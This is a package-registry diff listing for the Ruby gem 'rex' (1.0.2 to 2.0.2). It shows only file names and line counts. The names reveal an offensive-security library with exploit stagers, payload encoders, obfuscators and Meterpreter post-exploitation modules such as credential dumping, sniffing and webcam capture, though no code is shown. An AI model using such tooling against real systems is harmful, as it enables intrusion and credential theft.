rex 1.0.2 → 2.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +15 -0
- data/README.markdown +22 -0
- data/examples/smb_example.rb +35 -0
- data/lib/rex.rb +108 -3
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +104 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/x86.rb +524 -0
- data/lib/rex/assembly/nasm.rb +104 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +389 -0
- data/lib/rex/constants.rb +124 -0
- data/lib/rex/elfparsey.rb +9 -0
- data/lib/rex/elfparsey/elf.rb +121 -0
- data/lib/rex/elfparsey/elfbase.rb +256 -0
- data/lib/rex/elfparsey/exceptions.rb +25 -0
- data/lib/rex/elfscan.rb +10 -0
- data/lib/rex/elfscan/scanner.rb +226 -0
- data/lib/rex/elfscan/search.rb +44 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +90 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +116 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +123 -0
- data/lib/rex/encoder/bloxor/bloxor.rb +327 -0
- data/lib/rex/encoder/ndr.rb +90 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +107 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exploitation/cmdstager.rb +10 -0
- data/lib/rex/exploitation/cmdstager/base.rb +190 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +105 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +140 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +134 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +164 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +122 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +71 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +126 -0
- data/lib/rex/exploitation/egghunter.rb +425 -0
- data/lib/rex/exploitation/encryptjs.rb +78 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +69 -0
- data/lib/rex/exploitation/js/memory.rb +81 -0
- data/lib/rex/exploitation/js/network.rb +84 -0
- data/lib/rex/exploitation/js/utils.rb +33 -0
- data/lib/rex/exploitation/jsobfu.rb +513 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/powershell.rb +62 -0
- data/lib/rex/exploitation/powershell/function.rb +63 -0
- data/lib/rex/exploitation/powershell/obfu.rb +98 -0
- data/lib/rex/exploitation/powershell/output.rb +151 -0
- data/lib/rex/exploitation/powershell/param.rb +23 -0
- data/lib/rex/exploitation/powershell/parser.rb +183 -0
- data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
- data/lib/rex/exploitation/powershell/script.rb +99 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/file.rb +160 -0
- data/lib/rex/image_source.rb +10 -0
- data/lib/rex/image_source/disk.rb +58 -0
- data/lib/rex/image_source/image_source.rb +44 -0
- data/lib/rex/image_source/memory.rb +35 -0
- data/lib/rex/io/bidirectional_pipe.rb +161 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/ring_buffer.rb +369 -0
- data/lib/rex/io/stream.rb +312 -0
- data/lib/rex/io/stream_abstraction.rb +209 -0
- data/lib/rex/io/stream_server.rb +221 -0
- data/lib/rex/job_container.rb +200 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +180 -0
- data/lib/rex/logging/log_sink.rb +43 -0
- data/lib/rex/logging/sinks/flatfile.rb +56 -0
- data/lib/rex/logging/sinks/stderr.rb +44 -0
- data/lib/rex/mac_oui.rb +16581 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +10 -0
- data/lib/rex/mime/encoding.rb +17 -0
- data/lib/rex/mime/header.rb +78 -0
- data/lib/rex/mime/message.rb +150 -0
- data/lib/rex/mime/part.rb +50 -0
- data/lib/rex/nop/opty2.rb +109 -0
- data/lib/rex/nop/opty2_tables.rb +301 -0
- data/lib/rex/ole.rb +202 -0
- data/lib/rex/ole/clsid.rb +44 -0
- data/lib/rex/ole/difat.rb +138 -0
- data/lib/rex/ole/directory.rb +228 -0
- data/lib/rex/ole/direntry.rb +237 -0
- data/lib/rex/ole/docs/dependencies.txt +8 -0
- data/lib/rex/ole/docs/references.txt +1 -0
- data/lib/rex/ole/fat.rb +96 -0
- data/lib/rex/ole/header.rb +201 -0
- data/lib/rex/ole/minifat.rb +74 -0
- data/lib/rex/ole/propset.rb +141 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +392 -0
- data/lib/rex/ole/stream.rb +50 -0
- data/lib/rex/ole/substorage.rb +46 -0
- data/lib/rex/ole/util.rb +154 -0
- data/lib/rex/parser/acunetix_nokogiri.rb +406 -0
- data/lib/rex/parser/apple_backup_manifestdb.rb +132 -0
- data/lib/rex/parser/appscan_nokogiri.rb +367 -0
- data/lib/rex/parser/arguments.rb +108 -0
- data/lib/rex/parser/burp_session_nokogiri.rb +291 -0
- data/lib/rex/parser/ci_nokogiri.rb +193 -0
- data/lib/rex/parser/foundstone_nokogiri.rb +342 -0
- data/lib/rex/parser/fusionvm_nokogiri.rb +109 -0
- data/lib/rex/parser/group_policy_preferences.rb +185 -0
- data/lib/rex/parser/ini.rb +186 -0
- data/lib/rex/parser/ip360_aspl_xml.rb +103 -0
- data/lib/rex/parser/ip360_xml.rb +98 -0
- data/lib/rex/parser/mbsa_nokogiri.rb +256 -0
- data/lib/rex/parser/nessus_xml.rb +121 -0
- data/lib/rex/parser/netsparker_xml.rb +109 -0
- data/lib/rex/parser/nexpose_raw_nokogiri.rb +686 -0
- data/lib/rex/parser/nexpose_simple_nokogiri.rb +330 -0
- data/lib/rex/parser/nexpose_xml.rb +172 -0
- data/lib/rex/parser/nmap_nokogiri.rb +394 -0
- data/lib/rex/parser/nmap_xml.rb +166 -0
- data/lib/rex/parser/nokogiri_doc_mixin.rb +233 -0
- data/lib/rex/parser/openvas_nokogiri.rb +172 -0
- data/lib/rex/parser/outpost24_nokogiri.rb +240 -0
- data/lib/rex/parser/retina_xml.rb +110 -0
- data/lib/rex/parser/unattend.rb +171 -0
- data/lib/rex/parser/wapiti_nokogiri.rb +105 -0
- data/lib/rex/payloads.rb +2 -0
- data/lib/rex/payloads/win32.rb +3 -0
- data/lib/rex/payloads/win32/common.rb +27 -0
- data/lib/rex/payloads/win32/kernel.rb +54 -0
- data/lib/rex/payloads/win32/kernel/common.rb +55 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +13 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +51 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +195 -0
- data/lib/rex/peparsey.rb +10 -0
- data/lib/rex/peparsey/exceptions.rb +30 -0
- data/lib/rex/peparsey/pe.rb +210 -0
- data/lib/rex/peparsey/pe_memdump.rb +61 -0
- data/lib/rex/peparsey/pebase.rb +1662 -0
- data/lib/rex/peparsey/section.rb +128 -0
- data/lib/rex/pescan.rb +11 -0
- data/lib/rex/pescan/analyze.rb +366 -0
- data/lib/rex/pescan/scanner.rb +230 -0
- data/lib/rex/pescan/search.rb +68 -0
- data/lib/rex/platforms.rb +2 -0
- data/lib/rex/platforms/windows.rb +52 -0
- data/lib/rex/poly.rb +134 -0
- data/lib/rex/poly/block.rb +480 -0
- data/lib/rex/poly/machine.rb +13 -0
- data/lib/rex/poly/machine/machine.rb +830 -0
- data/lib/rex/poly/machine/x86.rb +509 -0
- data/lib/rex/poly/register.rb +101 -0
- data/lib/rex/poly/register/x86.rb +41 -0
- data/lib/rex/post.rb +7 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +5 -0
- data/lib/rex/post/meterpreter/channel.rb +446 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +483 -0
- data/lib/rex/post/meterpreter/client_core.rb +352 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +17 -0
- data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +71 -0
- data/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +169 -0
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +45 -0
- data/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +77 -0
- data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +75 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +22 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb +76 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +78 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +43 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +49 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +17 -0
- data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +109 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +29 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +117 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +27 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +396 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +284 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +399 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +59 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +256 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +67 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +168 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +209 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38146 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +2102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_crypt32.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3852 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +168 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3170 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wlanapi.rb +87 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +613 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +388 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +111 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +149 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +27 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +515 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +319 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb +23 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +301 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +676 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +96 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +151 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +60 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +408 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +328 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +188 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +236 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +259 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +201 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +709 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +543 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +142 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +86 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +939 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +109 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +65 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +198 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +444 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +199 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +118 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +242 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +509 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +60 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +254 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +159 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +182 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +232 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +97 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +52 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +133 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +204 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +66 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +527 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +448 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +906 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +318 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +343 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +99 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +15 -0
- data/lib/rex/proto/addp.rb +218 -0
- data/lib/rex/proto/dcerpc.rb +7 -0
- data/lib/rex/proto/dcerpc/client.rb +362 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +151 -0
- data/lib/rex/proto/dcerpc/handle.rb +48 -0
- data/lib/rex/proto/dcerpc/ndr.rb +73 -0
- data/lib/rex/proto/dcerpc/packet.rb +264 -0
- data/lib/rex/proto/dcerpc/response.rb +188 -0
- data/lib/rex/proto/dcerpc/uuid.rb +85 -0
- data/lib/rex/proto/dcerpc/wdscp.rb +3 -0
- data/lib/rex/proto/dcerpc/wdscp/constants.rb +89 -0
- data/lib/rex/proto/dcerpc/wdscp/packet.rb +94 -0
- data/lib/rex/proto/dhcp.rb +7 -0
- data/lib/rex/proto/dhcp/constants.rb +34 -0
- data/lib/rex/proto/dhcp/server.rb +334 -0
- data/lib/rex/proto/drda.rb +6 -0
- data/lib/rex/proto/drda/constants.rb +50 -0
- data/lib/rex/proto/drda/packet.rb +253 -0
- data/lib/rex/proto/drda/utils.rb +124 -0
- data/lib/rex/proto/http.rb +7 -0
- data/lib/rex/proto/http/client.rb +722 -0
- data/lib/rex/proto/http/client_request.rb +472 -0
- data/lib/rex/proto/http/handler.rb +47 -0
- data/lib/rex/proto/http/handler/erb.rb +129 -0
- data/lib/rex/proto/http/handler/proc.rb +61 -0
- data/lib/rex/proto/http/header.rb +173 -0
- data/lib/rex/proto/http/packet.rb +414 -0
- data/lib/rex/proto/http/request.rb +354 -0
- data/lib/rex/proto/http/response.rb +151 -0
- data/lib/rex/proto/http/server.rb +385 -0
- data/lib/rex/proto/iax2.rb +2 -0
- data/lib/rex/proto/iax2/call.rb +321 -0
- data/lib/rex/proto/iax2/client.rb +218 -0
- data/lib/rex/proto/iax2/codecs.rb +5 -0
- data/lib/rex/proto/iax2/codecs/alaw.rb +16 -0
- data/lib/rex/proto/iax2/codecs/g711.rb +2176 -0
- data/lib/rex/proto/iax2/codecs/mulaw.rb +17 -0
- data/lib/rex/proto/iax2/constants.rb +262 -0
- data/lib/rex/proto/ipmi.rb +57 -0
- data/lib/rex/proto/ipmi/channel_auth_reply.rb +89 -0
- data/lib/rex/proto/ipmi/open_session_reply.rb +36 -0
- data/lib/rex/proto/ipmi/rakp2.rb +36 -0
- data/lib/rex/proto/ipmi/utils.rb +125 -0
- data/lib/rex/proto/natpmp.rb +7 -0
- data/lib/rex/proto/natpmp/constants.rb +19 -0
- data/lib/rex/proto/natpmp/packet.rb +45 -0
- data/lib/rex/proto/ntlm.rb +8 -0
- data/lib/rex/proto/ntlm/base.rb +327 -0
- data/lib/rex/proto/ntlm/constants.rb +75 -0
- data/lib/rex/proto/ntlm/crypt.rb +412 -0
- data/lib/rex/proto/ntlm/exceptions.rb +17 -0
- data/lib/rex/proto/ntlm/message.rb +534 -0
- data/lib/rex/proto/ntlm/utils.rb +765 -0
- data/lib/rex/proto/ntp.rb +3 -0
- data/lib/rex/proto/ntp/constants.rb +12 -0
- data/lib/rex/proto/ntp/modes.rb +130 -0
- data/lib/rex/proto/pjl.rb +31 -0
- data/lib/rex/proto/pjl/client.rb +163 -0
- data/lib/rex/proto/proxy/socks4a.rb +441 -0
- data/lib/rex/proto/rfb.rb +13 -0
- data/lib/rex/proto/rfb/cipher.rb +82 -0
- data/lib/rex/proto/rfb/client.rb +205 -0
- data/lib/rex/proto/rfb/constants.rb +50 -0
- data/lib/rex/proto/sip.rb +4 -0
- data/lib/rex/proto/sip/response.rb +61 -0
- data/lib/rex/proto/smb.rb +8 -0
- data/lib/rex/proto/smb/client.rb +2064 -0
- data/lib/rex/proto/smb/constants.rb +1064 -0
- data/lib/rex/proto/smb/crypt.rb +37 -0
- data/lib/rex/proto/smb/evasions.rb +67 -0
- data/lib/rex/proto/smb/exceptions.rb +867 -0
- data/lib/rex/proto/smb/simpleclient.rb +173 -0
- data/lib/rex/proto/smb/simpleclient/open_file.rb +106 -0
- data/lib/rex/proto/smb/simpleclient/open_pipe.rb +57 -0
- data/lib/rex/proto/smb/utils.rb +104 -0
- data/lib/rex/proto/sunrpc.rb +2 -0
- data/lib/rex/proto/sunrpc/client.rb +196 -0
- data/lib/rex/proto/tftp.rb +13 -0
- data/lib/rex/proto/tftp/client.rb +344 -0
- data/lib/rex/proto/tftp/constants.rb +39 -0
- data/lib/rex/proto/tftp/server.rb +497 -0
- data/lib/rex/random_identifier_generator.rb +177 -0
- data/lib/rex/registry.rb +14 -0
- data/lib/rex/registry/hive.rb +132 -0
- data/lib/rex/registry/lfkey.rb +51 -0
- data/lib/rex/registry/nodekey.rb +54 -0
- data/lib/rex/registry/regf.rb +25 -0
- data/lib/rex/registry/valuekey.rb +67 -0
- data/lib/rex/registry/valuelist.rb +29 -0
- data/lib/rex/ropbuilder.rb +8 -0
- data/lib/rex/ropbuilder/rop.rb +271 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +61 -0
- data/lib/rex/script/meterpreter.rb +16 -0
- data/lib/rex/script/shell.rb +10 -0
- data/lib/rex/service.rb +49 -0
- data/lib/rex/service_manager.rb +154 -0
- data/lib/rex/services/local_relay.rb +424 -0
- data/lib/rex/socket.rb +788 -0
- data/lib/rex/socket/comm.rb +120 -0
- data/lib/rex/socket/comm/local.rb +526 -0
- data/lib/rex/socket/ip.rb +132 -0
- data/lib/rex/socket/parameters.rb +363 -0
- data/lib/rex/socket/range_walker.rb +470 -0
- data/lib/rex/socket/ssl_tcp.rb +345 -0
- data/lib/rex/socket/ssl_tcp_server.rb +188 -0
- data/lib/rex/socket/subnet_walker.rb +76 -0
- data/lib/rex/socket/switch_board.rb +289 -0
- data/lib/rex/socket/tcp.rb +79 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/udp.rb +165 -0
- data/lib/rex/sslscan/result.rb +201 -0
- data/lib/rex/sslscan/scanner.rb +206 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +85 -0
- data/lib/rex/sync/read_write_lock.rb +177 -0
- data/lib/rex/sync/ref.rb +58 -0
- data/lib/rex/sync/thread_safe.rb +83 -0
- data/lib/rex/text.rb +1813 -0
- data/lib/rex/thread_factory.rb +43 -0
- data/lib/rex/time.rb +66 -0
- data/lib/rex/transformer.rb +116 -0
- data/lib/rex/ui.rb +22 -0
- data/lib/rex/ui/interactive.rb +304 -0
- data/lib/rex/ui/output.rb +85 -0
- data/lib/rex/ui/output/none.rb +19 -0
- data/lib/rex/ui/progress_tracker.rb +97 -0
- data/lib/rex/ui/subscriber.rb +160 -0
- data/lib/rex/ui/text/color.rb +98 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
- data/lib/rex/ui/text/input.rb +119 -0
- data/lib/rex/ui/text/input/buffer.rb +79 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +96 -0
- data/lib/rex/ui/text/input/stdio.rb +46 -0
- data/lib/rex/ui/text/irb_shell.rb +62 -0
- data/lib/rex/ui/text/output.rb +86 -0
- data/lib/rex/ui/text/output/buffer.rb +62 -0
- data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
- data/lib/rex/ui/text/output/file.rb +44 -0
- data/lib/rex/ui/text/output/socket.rb +44 -0
- data/lib/rex/ui/text/output/stdio.rb +53 -0
- data/lib/rex/ui/text/output/tee.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb +57 -0
- data/lib/rex/ui/text/shell.rb +403 -0
- data/lib/rex/ui/text/table.rb +346 -0
- data/lib/rex/zip.rb +96 -0
- data/lib/rex/zip/archive.rb +130 -0
- data/lib/rex/zip/blocks.rb +184 -0
- data/lib/rex/zip/entry.rb +122 -0
- data/lib/rex/zip/jar.rb +283 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- data/rex.gemspec +20 -0
- metadata +528 -98
- data/CHANGELOG.rdoc +0 -7
- data/DOCUMENTATION.en.rdoc +0 -215
- data/DOCUMENTATION.ja.rdoc +0 -205
- data/Manifest.txt +0 -37
- data/README.ja +0 -73
- data/README.rdoc +0 -53
- data/Rakefile +0 -28
- data/bin/rex +0 -18
